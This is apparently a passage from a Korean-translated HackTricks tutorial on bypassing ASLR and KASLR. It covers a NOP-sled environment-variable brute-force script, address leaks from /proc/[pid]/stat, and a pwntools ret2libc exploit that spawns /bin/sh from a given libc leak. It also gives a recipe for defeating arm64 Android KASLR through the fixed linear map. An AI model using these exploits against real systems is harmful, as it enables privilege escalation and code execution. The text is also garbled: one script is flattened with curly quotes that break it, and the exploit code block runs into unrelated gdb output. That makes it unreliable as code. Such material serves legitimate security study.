Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Local Information (`/proc/[pid]/stat`)

프로세스의 **`/proc/[pid]/stat`** 파일은 항상 모든 사용자가 읽을 수 있으며 다음과 같은 흥미로운 정보를 **포함**하고 있습니다:

- **startcode** & **endcode**: 바이너리의 **TEXT**와 관련된 상·하 주소
- **startstack**: **stack**의 시작 주소
- **start_data** & **end_data**: **BSS**가 위치한 상·하 주소
- **kstkesp** & **kstkeip**: 현재 **ESP** 및 **EIP** 주소
- **arg_start** & **arg_end**: **cli arguments**가 위치한 상·하 주소
- **env_start** &**env_end**: **env variables**가 위치한 상·하 주소

따라서, 공격자가 공격 대상 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 raw arguments로 인한 오버플로를 예상하지 못하며 대신 이 파일을 읽은 뒤 조작 가능한 다른 **input that can be crafted after reading this file**에서 오버플로가 발생할 경우, 공격자는 이 파일에서 몇몇 주소를 얻어 익스플로잇을 위한 오프셋을 구성할 수 있습니다.

> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`

### Having a leak

- **The challenge is giving a leak**

If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO
따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않으므로 vdso를 악용해 ASLR을 bypass할 수 있다는 점에 유의하세요. 자세한 내용은 다음을 확인하세요:
Ret2vDSO
KASLR on ARM64 (Android): bypass via fixed linear map
많은 arm64 Android 커널에서 kernel linear map (direct map)의 base는 부팅 간에 고정되어 있습니다. 물리 페이지의 Kernel VAs가 예측 가능해져 direct map을 통해 접근 가능한 타깃에 대해 KASLR이 무력화됩니다.

For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
PAGE_OFFSET = 0xffffff8000000000
PHYS_OFFSET = memstart_addr (exported symbol)
Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

grep memstart /proc/kallsyms to find memstart_addr
해당 주소에서 8바이트(LE)를 any kernel read를 사용해 읽습니다 (예: tracing-BPF helper가 BPF_FUNC_probe_read_kernel를 호출하는 경우)
Compute direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

대상이 direct map 내에 있거나 direct map을 통해 접근 가능한 경우(예: page tables, 물리 페이지상의 kernel objects를 조작/관찰할 수 있는 경우) 별도의 KASLR leak가 필요 없습니다.
arm64 Android에서 신뢰할 수 있는 임의 R/W 및 kernel 데이터 타깃팅이 단순해집니다.

Reproduction summary

grep memstart /proc/kallsyms -> address of memstart_addr
Kernel read -> decode 8 bytes LE -> PHYS_OFFSET
Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000


Note
tracing-BPF helpers에 접근하려면 충분한 권한이 필요합니다; any kernel read primitive 또는 info leak이면 PHYS_OFFSET를 얻기에 충분합니다.

How it’s fixed

제한된 kernel VA 공간과 CONFIG_MEMORY_HOTPLUG가 미래 hotplug를 위해 VA를 예약하여 linear map을 가장 낮은 VA(고정 base)로 밀어냅니다.
Upstream arm64는 linear-map randomization을 제거했습니다 (commit 1db780bafa4c).


References

Defeating KASLR by Doing Nothing at All (Project Zero)
arm64: remove linear map randomization (commit 1db780bafa4c)
Tracing BPF arbitrary read helper (Project Zero issue 434208461)


Tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!
**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.